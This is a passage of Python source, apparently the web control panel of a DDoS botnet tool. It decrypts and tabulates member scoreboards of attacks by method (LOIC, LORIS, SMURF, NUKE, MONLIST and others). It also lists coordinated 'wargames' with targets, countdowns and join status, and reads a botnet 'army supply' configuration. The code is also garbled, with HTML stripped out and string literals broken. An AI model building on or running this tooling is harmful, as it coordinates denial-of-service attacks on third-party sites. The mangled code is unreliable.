self.decrypt(grid_key, grid_tachyon) if self.decryptedtext: grid_tachyon = self.decryptedtext else: grid_tachyon = nodec_text self.decryptedtext = "" # clean decryptedtext buffer try: # parse for int grid_tachyon = int(grid_tachyon) mothership_tachyon = mothership_tachyon + grid_tachyon except: grid_tachyon = nodec_text else: grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not tachyon present self.decrypt(grid_key, grid_tachyon) if self.decryptedtext: grid_tachyon = self.decryptedtext else: grid_tachyon = nodec_text self.decryptedtext = "" # clean decryptedtext buffer try: # parse for int grid_tachyon = int(grid_tachyon) mothership_tachyon = mothership_tachyon + grid_tachyon except: grid_tachyon = nodec_text if version > 17: grid_monlist = m[16] # monlist self.decrypt(grid_key, grid_monlist) if self.decryptedtext: grid_monlist = self.decryptedtext else: grid_monlist = nodec_text self.decryptedtext = "" # clean decryptedtext buffer try: # parse for int grid_monlist = int(grid_monlist) mothership_monlist = mothership_monlist + grid_monlist except: grid_monlist = nodec_text else: grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not monlist present self.decrypt(grid_key, grid_monlist) if self.decryptedtext: grid_monlist = self.decryptedtext else: grid_monlist = nodec_text self.decryptedtext = "" # clean decryptedtext buffer try: # parse for int grid_monlist = int(grid_monlist) mothership_monlist = mothership_monlist + grid_monlist except: grid_monlist = nodec_text if version > 17: grid_contact = m[17] # contact self.decrypt(grid_key, grid_contact) if self.decryptedtext: grid_contact = self.decryptedtext else: grid_contact = nodec_text self.decryptedtext = "" # clean decryptedtext buffer if len(grid_contact) > 120 or len(grid_contact) < 3: # m[17] = grid_contact (>str3View" # js contact view except: grid_contact = "View" # js error contact view try: grid_id = m[18] # id except: grid_id = '6666666666666666666666666666666666666' # fake id elif version == 17: grid_contact = m[16] # contact self.decrypt(grid_key, grid_contact) if self.decryptedtext: grid_contact = self.decryptedtext else: grid_contact = nodec_text self.decryptedtext = "" # clean decryptedtext buffer grid_contact = str(grid_contact) # contact if len(grid_contact) > 120 or len(grid_contact) < 3: # m[16] = grid_contact (>str3View" # js contact view except: grid_contact = "View" # js error contact view try: grid_id = m[17] # id except: grid_id = '6666666666666666666666666666666666666' # fake id elif version == 16: grid_contact = m[15] # contact self.decrypt(grid_key, grid_contact) if self.decryptedtext: grid_contact = self.decryptedtext else: grid_contact = nodec_text self.decryptedtext = "" # clean decryptedtext buffer grid_contact = str(grid_contact) # contact if len(grid_contact) > 120 or len(grid_contact) < 3: # m[15] = grid_contact (>str3View" # js contact view except: grid_contact = "View" # js error contact view try: grid_id = m[16] # id except: grid_id = '6666666666666666666666666666666666666' # fake id elif version == 15: grid_contact = m[14] # contact self.decrypt(grid_key, grid_contact) if self.decryptedtext: grid_contact = self.decryptedtext else: grid_contact = nodec_text self.decryptedtext = "" # clean decryptedtext buffer grid_contact = str(grid_contact) # contact if len(grid_contact) > 120 or len(grid_contact) < 3: # m[14] = grid_contact (>str3View" # js contact view except: grid_contact = "View" # js error contact view try: grid_id = m[15] # id except: grid_id = '6666666666666666666666666666666666666' # fake id elif version == 12: grid_contact = m[11] # contact self.decrypt(grid_key, grid_contact) if self.decryptedtext: grid_contact = self.decryptedtext else: grid_contact = nodec_text self.decryptedtext = "" # clean decryptedtext buffer grid_contact = str(grid_contact) # contact if len(grid_contact) > 120 or len(grid_contact) < 3: # m[11] = grid_contact (>str3View" # js contact view except: grid_contact = "View" # js error contact view try: grid_id = m[12] # id except: grid_id = '6666666666666666666666666666666666666' # fake id elif version == 11: grid_contact = m[10] # contact self.decrypt(grid_key, grid_contact) if self.decryptedtext: grid_contact = self.decryptedtext else: grid_contact = nodec_text self.decryptedtext = "" # clean decryptedtext buffer grid_contact = str(grid_contact) # contact if len(grid_contact) > 120 or len(grid_contact) < 3: # m[10] = grid_contact (>str3View" # js contact view except: grid_contact = "View" # js error contact view try: grid_id = m[11] # id except: grid_id = '6666666666666666666666666666666666666' # fake id elif version == 10: grid_contact = m[9] # contact self.decrypt(grid_key, grid_contact) if self.decryptedtext: grid_contact = self.decryptedtext else: grid_contact = nodec_text self.decryptedtext = "" # clean decryptedtext buffer grid_contact = str(grid_contact) # contact if len(grid_contact) > 120 or len(grid_contact) < 3: # m[9] = grid_contact (>str3View" # js contact view except: grid_contact = "View" # js error contact view try: grid_id = m[10] # id except: grid_id = '6666666666666666666666666666666666666' # fake id else: grid_contact = "View" # js error contact view grid_id = '6666666666666666666666666666666666666' # fake id try: # parsing for valid stream struct grid_ranking = str(grid_ranking) if grid_ranking == nodec_text: # hide any data when user is encrypted grid_contact = "View" grid_table += "" else: grid_table += "" except: grid_table += "" grid_table += "
NICK:RANK:CHARGO:DORKING:TRANSF:MAX.CHARGO:MISSIONS:ATTACKS:LOIC:LORIS:UFOSYN:SPRAY:SMURF:XMAS:NUKE:TACHYON:MONLIST:CONTACT:
"+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(grid_contact)+"
"+str(grid_nickname)+""+str(grid_ranking)+""+str(grid_totalchargo)+""+str(grid_dorking)+""+str(grid_transferred)+""+str(grid_maxchargo)+""+str(grid_missions)+""+str(grid_attacks)+""+str(grid_loic)+""+str(grid_loris)+""+str(grid_ufosyn)+""+str(grid_spray)+""+str(grid_smurf)+""+str(grid_xmas)+""+str(grid_nuke)+""+str(grid_tachyon)+""+str(grid_monlist)+""+str(grid_contact)+"
ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!

" l = time.ctime(os.path.getmtime(self.grid_file)) # get last modified time mother_table = "
MOTHERSHIP STATS: (Last Update: "+str(l)+")

MEMBERS:"+str(mothership_members)+"-"+str(unknown_members)+"*"+str(member_1)+"**"+str(member_2)+"***"+str(member_3)+"****"+str(member_4)+""+str(member_5)+"

MISSIONS:"+str(mothership_missions)+"ATTACKS:"+str(mothership_attacks)+"CHARGO (ACTIVE!):"+str(mothership_chargo)+"DORKING:"+str(mothership_dorking)+"TRANSF:"+str(mothership_transferred)+"MAX.CHARGO:"+str(mothership_maxchargo)+"

LOIC:"+str(mothership_loic)+"LORIS:"+str(mothership_loris)+"UFOSYN:"+str(mothership_ufosyn)+"SPRAY:"+str(mothership_spray)+"SMURF:"+str(mothership_smurf)+"
XMAS:"+str(mothership_xmas)+"NUKE:"+str(mothership_nuke)+"TACHYON:"+str(mothership_tachyon)+"MONLIST:"+str(mothership_monlist)+"



" f.write(mother_table) f.write(grid_table) f.write(end_mark) f.close() else: # not valid stream data pass if page == "/cmd_decrypt_grid_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_decrypt_grid_update"] = "
"+f.read()+"
"
        if page == "/cmd_decrypt_wargames":
            self.pages["/cmd_decrypt_wargames"] = "
Waiting for decrypting results...
" wargames_join_flag = False # anti-join flag for non decrypted wargames try: wargames_deckey = pGet["wargames_deckey"] except: wargames_deckey = "" end_mark = "[Info] [AI] End of decryption." if wargames_deckey is not "": # wargames decryption nodec_text = "KEY?" try: # read global army supply from configuration file (json) with open(self.mothership_supplycfg_file) as data_file: data = json.load(data_file) except: if os.path.exists(self.mothership_supplycfg_file) == True: print('[Error] [AI] Cannot open: "core/json/supplycfg.json" -> [Aborting!]\n') return else: # generate default global army supply configuration file print('[Info] [AI] Cannot found: "core/json/supplycfg.json" -> [Generating!]') with open(self.mothership_supplycfg_file, "w") as f: json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0, "spray": 0, "smurf": 0, "xmas": 0, "nuke": 0, "tachyon": 0, "monlist": 0}, f, indent=4) with open(self.mothership_supplycfg_file) as data_file: data = json.load(data_file) self.supply_botnet = data["botnet"] self.supply_loic = data["loic"] self.supply_loris = data["loris"] self.supply_ufosyn = data["ufosyn"] self.supply_spray = data["spray"] self.supply_smurf = data["smurf"] self.supply_xmas = data["xmas"] self.supply_nuke = data["nuke"] self.supply_tachyon = data["tachyon"] self.supply_monlist = data["monlist"] f = open(self.wargames_file,"r") ls = f.readlines() f.close() if ls: wargames_autopanel = "MASSIVE ACTION:



" wargames_supply = "GLOBAL ARMY SUPPLY (rounds):

BOTNET ("+str(self.total_botnet)+"):LOIC:LORIS:UFOSYN:SPRAY:
SMURF:XMAS:NUKE:TACHYON:MONLIST:


" else: wargames_autopanel = "" wargames_supply = "" wargames_table = wargames_autopanel + wargames_supply +"" f = open("/tmp/out", "w") self.list_wargames_rev = reversed(self.list_wargames) # order by DESC wargames_id = 1 for m in self.list_wargames_rev: # list = creation, target, estimated if wargames_msg_sep in m: m = m.split(wargames_msg_sep) wargames_creation = m[0] # creation date self.decrypt(wargames_deckey, wargames_creation) if self.decryptedtext: wargames_creation = self.decryptedtext else: wargames_creation = nodec_text self.decryptedtext = "" # clean decryptedtext buffer wargames_target = m[1] # target wargames_target_joined = wargames_target self.decrypt(wargames_deckey, wargames_target) if self.decryptedtext: wargames_target = self.decryptedtext if wargames_target.startswith("www."): wargames_target = wargames_target.replace("www.","") else: wargames_target = nodec_text self.decryptedtext = "" # clean decryptedtext buffer wargames_estimated = m[2] # estimated time self.decrypt(wargames_deckey, wargames_estimated) if self.decryptedtext: wargames_estimated = self.decryptedtext wargames_join_flag = True else: wargames_estimated = nodec_text self.decryptedtext = "" # clean decryptedtext buffer else: wargames_target = "KEY?" now = strftime("%d-%m-%Y %H:%M:%S", gmtime()) now = strptime(now, "%d-%m-%Y %H:%M:%S") try: wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S") wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S") except: # discarding errors also on panel wargames_creation = now wargames_estimated = now if wargames_target == "KEY?": # allow to discard unencrypted wargames wargames_creation = now wargames_estimated = now if (now >= wargames_estimated) == False: # change flag color when time is out time_now = time.mktime(now) time_estimated = time.mktime(wargames_estimated) wargames_eta = (time_estimated - time_now) hours, rem = divmod(wargames_eta, 3600) minutes, seconds = divmod(rem, 60) if "!!!" in wargames_target_joined: status = "JOINED!" wargames_status = ""+status+"" if wargames_join_flag == True: wargames_join = "" else: wargames_join = "KEY?" # present but with a different crypto-key wargames_eta = "{:0>2}h {:0>2}m {:02}s".format(int(hours),int(minutes),int(seconds)) wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated) time_flag = ""+str(wargames_estimated)+"" wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation) creation_flag = ""+str(wargames_creation)+"" else: status = "-ONGOING-" wargames_status = ""+status+"" if wargames_join_flag == True: wargames_join = "" else: wargames_join = "KEY?" # present but with a different crypto-key wargames_eta = "{:0>2}h {:0>2}m {:02}s".format(int(hours),int(minutes),int(seconds)) wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated) time_flag = ""+str(wargames_estimated)+"" wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation) creation_flag = ""+str(wargames_creation)+"" else: wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated) time_flag = ""+str(wargames_estimated)+"" wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation) creation_flag = ""+str(wargames_creation)+"" wargames_join = "" wargames_eta = "OUT-OF-TIME" status = "-CLOSED-" wargames_status = ""+status+"" wargames_table += "" wargames_id = wargames_id + 1 wargames_table += "
CREATION:TARGET:DATE:ETA:ACTION:STATUS:
"+creation_flag+""+str(wargames_target)+""+time_flag+""+wargames_eta+""+wargames_join+""+wargames_status+"

" f.write(wargames_table) f.write(end_mark) f.close() if page == "/cmd_decrypt_wargames_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_decrypt_wargames_update"] = "
"+f.read()+"
"
        if page == "/blackholes":
            self.pages["/blackholes"] = self.html_blackholes()
        if page == "/requests":
            if pGet=={}:
                self.pages["/requests"] = self.html_requests()
            else:
                self.save_cfg(pGet)
                self.pages["/requests"] = self.html_request_submit()
        if page == "/abduction":
            self.pages["/abduction"] = self.html_abduction()
        if page == "/stats":
            self.pages["/stats"] = self.html_stats()
        if page == "/wormhole":
            self.pages["/wormhole"] = self.pages["/header"] + "